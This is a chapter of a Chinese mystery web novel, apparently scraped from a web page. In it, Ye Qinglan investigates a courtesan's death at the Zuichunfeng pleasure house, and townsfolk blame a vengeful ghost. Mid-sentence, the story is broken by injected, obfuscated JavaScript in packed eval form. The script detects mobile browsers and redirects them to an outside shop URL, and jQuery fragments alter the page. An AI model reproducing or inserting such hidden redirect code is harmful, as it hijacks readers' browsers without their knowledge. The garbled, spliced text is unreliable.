窈娘皱眉想了想,苦笑,“她若真要走,我又有什么办法。莫说当了花魁,她以前不当花魁的时候脾气就大得不得了,连妈妈都要让她三分。只是这支上元舞花了那么多心血,跳不成就太可惜了。”
她顿了顿,望着幼薇,眼中闪过冷意,“看她如此笨拙,这支舞横竖是毁了。”
“为什么选她来跳?”
窈娘脸上如同罩了一层严霜,“这就要问蔡妈妈了。”
“上元舞如此重要,幼薇这次可算捡了个大便宜。”
窈娘沉默片刻,“便宜谁不想捡。干我们这一行的,花无百日红,年轻时不为自己挣个出路,老了日子可不好过。”
“可她毁了上元舞,姑姑岂不伤心?”
窈娘伸出竹枝,缓缓敲打自己左腿,“十年前我从台子上摔下来,伤了腿,在床上躺了三个月,再也无法跳舞。那才叫真的伤心。我这双腿,从前能转圈连转一个时辰,现在连路都走不快。若我还能上台,哪里轮得到这些小丫头。”
她说到最后,神色怅然,叶青岚莫名想起一句话,自古美人如良将,不许人间见白头。
“最后一个问题,姑姑腿脚不便,想必住在一楼?”
窈娘指了指画舫后面的一扇窗,“那就是我的房间。”
“姑姑这窗户临着湖,事发当晚,可有听到什么动静?”
窈娘垂眸,“老身每晚靠安神香入眠,睡得早,什么都没听到。”
叶青岚盯了她一会儿,微微一笑,“祝表演成功。”
马车粼粼行驶在官道上,两边景物飞速远去,连跑了一个时辰,才抵达京城最大的城南集市。叶青岚从车上下来,朝车夫晃了晃提刑司的令牌。车夫看清上面的字,吓得连钱都没敢要,行了一礼,调转车头走了。
这黑漆镶金的令牌还真好用。
京城有名的绸缎庄和成衣铺都在这儿了。要弄清楚照夜妃那件舞衣花了多少钱,少不得亲自跑一趟。
临近上元佳节,集市上热闹非凡,到处都是灯笼彩带,顾客们摩肩接踵,喧嚣震天。叶青岚跟着一群打扮得花枝招展的女客,在迷宫般的摊位间绕来绕去,越走越觉得惭愧。摊子上卖的东西倒有一半叫不出名字。在人间这五十年算是白晃悠了,见识竟短浅至此。价格也令人迷惑,一小盒胭脂要三钱银子,他那点钱只够买个盒子盖。
每经过一间成衣铺,他就进去打听金丝绣线的彩衣,家家都说能做,只是报出的价格差异极大,从十两到一百两不等。
若那件舞衣真的价值一百两,把陈思贤卖了都嫌不够呢。
叶青岚追问那报价一百两的老板,“这也太贵了,我们是小班子演出,又不给皇上跳舞。”
老板一挑眉,“那你要金丝绣线干什么?随便拿件云锦得了。”
“这不是家里小娘子难伺候么,不知从哪儿看到一件舞衣,心心念念,吵着要一模一样的。”
老板想了想,“你家小娘子莫不是去过醉春风?”
叶青岚心跳加快,“或许去过吧。”
“她多半看见人家花魁娘子定制的舞衣了。那件衣服不光好看,还有别的功用。你家小娘子又不跳上元舞,用不到的。”
“一件衣服还能有什么功用?”
“现在说这些还有什么用。”老板压低声音,“听说那照夜妃被恶鬼索命,吊死了。”
叶青岚这回当真惊讶了,“恶鬼?”
“嗯,滴翠湖闹鬼,你知道吧?提刑司全城搜捕了三天,想抓凶手,其实根本抓不到的。”
“恶鬼为什么只索照夜妃的命?”
“她倒霉呗。”
“该不会那件舞衣太漂亮,连鬼都想要吧!”
老板脸色一变,“胡说八道!你到底买不买,不买赶紧走!”
“我买,我买,”叶青岚把钱袋子拍在桌上,往外一倒,那唯一一枚铜板丁零当啷地滚了出来。
他抬起头,神色尴尬。
老板气愤地往外推他,“这点钱留着给自己买烧饼吧。”
“赊账行吗?”
“赊你个头。你是不是对家派来刺探的?回去告诉你们王掌柜,想收购我城西的铺子,没门!”
叶青岚悻悻离开。
这老板说不定知道点什么。等明天老板忘记他了,再来碰碰运气。
回去还得雇马车,可路上一辆接着一辆驶过的都是大户人家的私人马车。叶青岚等了半天,肚子实在饿得不行,便干起了老本行:算命。
他拦住几个姑娘,盯着人家的眼睛,说自己是先知,要给人家看手相,煞有介事地算了半天,算出一个荣华富贵,两个子孙满堂,三个家宅平安,四个吉星高照。姑娘们被哄得眉开眼笑,欣然同意捎他一程。
上了马车,听说他住在滴翠湖附近的客栈,姑娘们神情有些微妙。
“叶先生是去醉春风看上元舞的吧?想不到先知也有如此雅兴。那附近的客栈半个月前就订满了。”
“不瞒小娘子说,最近出了命案,吓走了一批人,又空出来几间房。”
“我们听说,那花魁之死非人力所为。找提刑司破案是枉费力气,应当请方士们作法。”
叶青岚哭笑不得,原来这案子在民间已传成了这副模样。
“实不相瞒,在下正是受醉春风蔡妈妈之托,去爙灾祈福。”
姑娘们一听,兴奋不已,连声问他祈爙仪式什么时候举行。
叶青岚一本正经道,“待我门中师兄弟聚齐后,于十五月出之时向天祷告。”
“那不正是上元舞开始表演的时候?”
“不错。届时湖东岸跳舞,湖西岸祈爙。几位一定要早点来,抢个视野开阔的好位置。”
马车停在滴翠湖畔,姑娘们依依不舍地放他下车。叶青岚大袖飘飘,走向醉春风,还真让他走出了几分仙风道骨的气质。
“啊——”
蔡妈妈杀猪般的嚎叫随着湖风传遍了整条街。
“大家来看啊,提刑司当街杀人啦!”
叶青岚一阵错愕。陆冰疯了?
醉春风门口围了一圈人。早上那个大胡子差役去而复返,一把明晃晃的钢刀架在
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17255583|197985||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
蔡妈妈脖子上。
“省点力气,不必装疯卖傻了,你这个杀人凶手!”
“我是凶手?官爷你开玩笑吧?”
“谁同你开玩笑?你楼里的阿猫阿狗吃不住拷打,已经招供了,照夜妃遇害前夜,你进过她的房间。”
“什么?!”
大胡子得意洋洋,“你先前是怎么对陆捕头说的?照夜妃晚上锁了房门,谁都不让进。这下露出马脚了吧。”
差役一拥而上,麻利地将蔡妈妈捆了,架上马背。
蔡妈妈梗着脖子喊,“就算我进她房间又怎么了?我是这里的妈妈,哪间房不能进?!”
“这些话留着对陆捕头说吧。走!”
大胡子拨转马头,扬长而去。
街上静了片刻,然后议论声像湖中央的涟漪,一圈一圈扩散开来。
“这老鸨好狠的心肠。”
“你还真相信是她杀了人啊?”
“青楼里死个姑娘再寻常不过了,提刑司这么大张旗鼓地查案,纯属吃饱了撑的。”
“提刑司冤死的人还少么?”
“哎哟,这可不兴说啊。”
“闹成这样,上元舞还演得成吗?”
“离上元夜只有两天了,我还指着靠这波人流大赚一笔呢。”
“都怪那花魁,偏偏死在这个节骨眼,哪怕晚死几天呢?”
“这可由不得她。”一道洪亮的声音插了进来。叶青岚凝目一看,是渺渺茶馆里那个说书的。老先生捧着个茶壶,在人堆里穿进穿出。茶客们不去听书,他便亲自出来找听众了。
“诸位有所不知,那照夜妃是被冤魂索命而死的。”
人群耸动。
“醉春风里每回失手弄死了姑娘,便扔进湖里,久而久之,尸骨堆积,再加上怨气,近日终于养出一只厉害的怨鬼来。这些姑娘生前不是被花魁抢过风头,就是被恩客折磨凌辱,或是被妈妈毒打,必定要一一报复回来。第一个倒霉的是照夜妃,接下来,客人、妈妈,全都逃不过。”
无人质疑。大家都觉得这个说法合情合理。
叶青岚凑上前,“那怨鬼长什么模样,可有人见过?”
老先生捋捋胡子,“公子于月明星稀之夜,往湖面看去,若看到一闪而过的白影,便是了。”
叶青岚一贯对怪力乱神之事深信不疑。只因他本人就是活生生的例子:一副不老不死的躯体,一个永远不会被人记住的诅咒。
可他在人世间游荡了五十年,还没有亲眼见过鬼。鬼长什么样子?鬼杀人用得着勒脖子吗?又为什么要用上天蚕丝?
叶青岚躺在漆黑的画舫里,苦苦思索。
冬夜苦寒,子时未到,街上就杳无人声了。摊主们早早地收摊回家。只有醉春风里的灯还亮着,偶尔传出几声零碎的丝竹管弦。
一轮接近滚圆的月亮从山顶冒出头,银色的清辉洒向湖面。夜空安静澄澈,无星亦无云,水波映着微光,看不到什么白色的鬼影。
叶青岚长腿一摆,下了画舫,沿着岸边走到醉春风临湖一侧的柱子。